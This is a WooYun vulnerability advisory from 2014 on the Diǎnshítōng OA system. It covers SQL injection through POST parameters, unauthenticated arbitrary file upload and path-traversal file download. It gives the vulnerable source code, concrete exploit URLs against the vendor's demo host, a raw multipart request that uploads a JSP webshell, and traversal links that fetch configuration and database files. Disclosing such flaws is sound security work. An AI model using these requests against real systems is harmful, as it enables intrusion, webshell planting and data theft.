当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066609

漏洞标题:某OA系统多处SQL注入/无需登录任意文件下载/任意文件上传GetShell

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-06-29 12:09

修复时间:2014-09-27 12:10

公开时间:2014-09-27 12:10

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-29: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向第三方安全合作伙伴开放
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-09-27: 细节向公众公开

简要描述:

某OA系统多处SQL注入,可直接执行SQL语句
无需登录,任意文件下载,任意文件上传拿GetShell

详细说明:

官网:http://www.ttyoa.com/WebDst/index.htm?TopMenu=sy
北京点石通科技有限公司,点石通OA办公自动化系统
官方演示:http://www.ttyoa.com/Main3/sy.jsp
下面就拿官方demo进行测试。
0x001 多处SQL注入
首先我们拿登陆处的请求看一下:

111.png


看到没有,这里提交的参数c0-param0里面就是一个sql语句

aoxuanze * aocong TBL_QXK_Yhxxb_Person  aotiaojian com_id='sy'  and ID='admin' and MiMa='12345678'


如果这不好看出来,我们重来看一个:

1.png


这里很明显了,参数c0-param0里面就是一个完整的SQL语句

select * from TBL_QXK_Yhxxb_Person where id='111111' and com_id='sy' and 1=1


这里我们加上and 1=1,返回s0=1,正常情况也是返回s0=1
当我们加上and 1=2时,返回s0=2,此时执行错误
所以这里可以进行SQL注入。
其实更直接的,可以在这里直接执行任意SQL语句哦!!!
所以在此系统中没有任何过滤,而且计划所以的POST提交的参数里面都有完整的SQL语句,可直接执行任意SQL语句。不在一一列举。
0x002 三处任意文件上传,无需登录
第一处文件上传:

http://www.ttyoa.com/Common/Js/WebEdit/UploadFile.action.jsp?objWebEditName=myWebEdit&Yuan_FileName=404.jsp&IdTime=2014-06-29-5-29-20&FileName=Upload_2014-06-29-5-29-20_404.jsp&szUpLoadPath=DB&Upload_Div_FuJian=myWebEdit_UploadShow&UploadType=File


/OA/News/UploadFile.action.jsp
第二处文件上传:

http://www.ttyoa.com/Common/Js/WeiBoEdit/UploadFile.action.jsp?objWeiBoEditName=myWebEdit&Yuan_FileName=404.jsp&IdTime=2014-06-29-5-29-20&FileName=Upload_2014-06-29-5-29-20_404.jsp&szUpLoadPath=DB&FileType=File


第三处文件上传:

http://www.ttyoa.com/Qxk/SysManage/Person/UploadFile.action.jsp?Yuan_FileName=404.jsp&IdTime=2014-06-29-5-31-48&FileName=WeiBo_2014-06-29-5-31-48_404.jsp&szUpLoadPath=OA/DB&Yuan_Path=404.jsp&LeiXing=2


这三处的文件上传代码都差不多,而且问题都是一样
直接将szUpLoadPath和FileName拼接,然后直接write,上传文件
没有进行任何过滤和上传后缀的判断,导致任意文件上传,上传shll文件。
那第一个上传的代码分析/Common/Js/WebEdit/UploadFile.action.jsp:

String szYuan_FileName=request.getParameter("Yuan_FileName"); 
String objWebEditName=request.getParameter("objWebEditName");
String szUpLoadPath=request.getParameter("szUpLoadPath");
String szUpload_Div_FuJian=request.getParameter("Upload_Div_FuJian");
String szUploadType=request.getParameter("UploadType");

String szFileName =request.getParameter("FileName");
if( szFileName == null ){ szFileName = "" ; }

out.println(szUpLoadPath+"/"+szFileName);


DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(4096);
String szNewFileSavePath=application.getRealPath(java.io.File.separator+szUpLoadPath);

System.out.println("文件上传路径:"+szNewFileSavePath);
//factory.setRepository(szNewFileSavePath);
factory.setRepository(new java.io.File(szNewFileSavePath));
HttpFileUpload fu = new HttpFileUpload(factory);
.......
try
{
List fileItemList = fu.parseRequest(request);
out.println(fileItemList.size());
Iterator fileItemListIte = fileItemList.iterator();
while (fileItemListIte.hasNext())
{
FileItem file = (FileItem) fileItemListIte.next();
//文件保存文件
// 文件保存路径和文件名
//String uploadfile=application.getRealPath(File.separator+"uploadfile"+File.separator+"src.rar");
//File upFile = new File(uploadfile);
//file.write(upFile);

if( file.getName()!=null)
{
java.io.File upFile = new java.io.File(szNewFileSavePath+"/"+szFileName);
file.write(upFile);
}
System.out.println(file.getName() + "<br>" + file.getSize());
}
out.println("上传成功!");
}


很清楚了

String szUploadType=request.getParameter("UploadType");
String szNewFileSavePath=application.getRealPath(java.io.File.separator+szUpLoadPath);
java.io.File upFile = new java.io.File(szNewFileSavePath+"/"+szFileName);
file.write(upFile);


和我们前面分析的一样。
发送如下请求就可以上传任意文件:

POST /Common/Js/WebEdit/UploadFile.action.jsp?objWebEditName=myWebEdit&Yuan_FileName=404.jsp&IdTime=1111111111111&FileName=11111111111111.jsp&szUpLoadPath=DB&Upload_Div_FuJian=myWebEdit_UploadShow&UploadType=File HTTP/1.1
Host: www.ttyoa.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.ttyoa.com/Common/Js/UploadEx/UploadFileIframe.jsp?objUploadName=myUploadEx&UpLoadPath=OA/DB&Upload_Div_FuJian=ddd
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------124872554328309
Content-Length: 228
-----------------------------124872554328309
Content-Disposition: form-data; name="myFile"; filename="404.jsp"
Content-Type: application/octet-stream
<%jsp shell is here !%>
-----------------------------124872554328309--


222.png


成功上传shell
shell地址:http://www.ttyoa.com/DB/11111111111111.jsp

333.png


0x003 三处任意文件下载,无需登录
第一处文件下载:
http://www.ttyoa.com/Common/do_download.jsp
第二处文件下载:
http://www.ttyoa.com/Common/Js/WebEdit/do_download.jsp
第三处文件下载:
http://www.ttyoa.com/Common/Js/WeiBoEdit/do_download.jsp
拿第三个文件下载分析,/Common/Js/WeiBoEdit/do_download.jsp:

<%@ page contentType="text/html; charset=gb2312" %>
<%@page import="com.jspsmart.upload.*"%>
<%
String szUpLoadPath=request.getParameter("UpLoadPath");
String szFileName=request.getParameter("FileName");
String szYuan_FileName=request.getParameter("Yuan_FileName");
if(szYuan_FileName==null){szYuan_FileName=szFileName;}

String path=request.getRealPath("");
//新建一个SmartUpload对象
SmartUpload su = new SmartUpload();
//初始化
su.initialize(pageContext);
//设定contentDisposition为null以禁止浏览器自动打开文件,
//保证点击链接后是下载文件。若不设定,则下载的文件扩展名为
//doc时,浏览器将自动用word打开它。扩展名为pdf时,
//浏览器将用acrobat打开。
su.setContentDisposition(null);
//下载文件
//{{
//如果不用如下的,则response.getWriter(),因为这个方法是和response.getOutputStream()相冲突
//html这样的文档不能下载。
out.clear();
out = pageContext.pushBody();
//}}

String oFileName =new String(szYuan_FileName.getBytes("gb2312"),"iso8859-1");
//su.downloadFile(path+"\\DB\\UpLoad\\"+szHref,null,oFileName);
su.downloadFile(path+"/"+szUpLoadPath+"/"+szFileName,null,oFileName);
%>


szUpLoadPath和szFileName拼接后直接下载,这里的两个值就是我们传进来的,没有做任何过滤,导致任意上传!!
第三个下载,构造下载链接如下:
http://www.ttyoa.com/Common/Js/WeiBoEdit/do_download.jsp?UpLoadPath=/Common/Js/UploadEx/&FileName=../../../Common/include.inc

444.png


第一个下载构造下载如下:
http://www.ttyoa.com/Common/do_download.jsp?UpLoadPath=/Common/Js/UploadEx/&FileName=../../../WebOs/DB/20130416
这里我们来下载一个数据库文件:

555.png

漏洞证明:

shell

333.png


文件下载

555.png

修复方案:

控制登陆验证,控制上传文件后缀,控制下载文件路径和权限。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-04 08:37

厂商回复:

CNVD确认所述情况,目前,对于所述OA并未完成互联网实例的查找,仅根据官方站进行确认。由CNVD通过前段时间建立的联系渠道向软件生产厂商通报。

最新状态:

暂无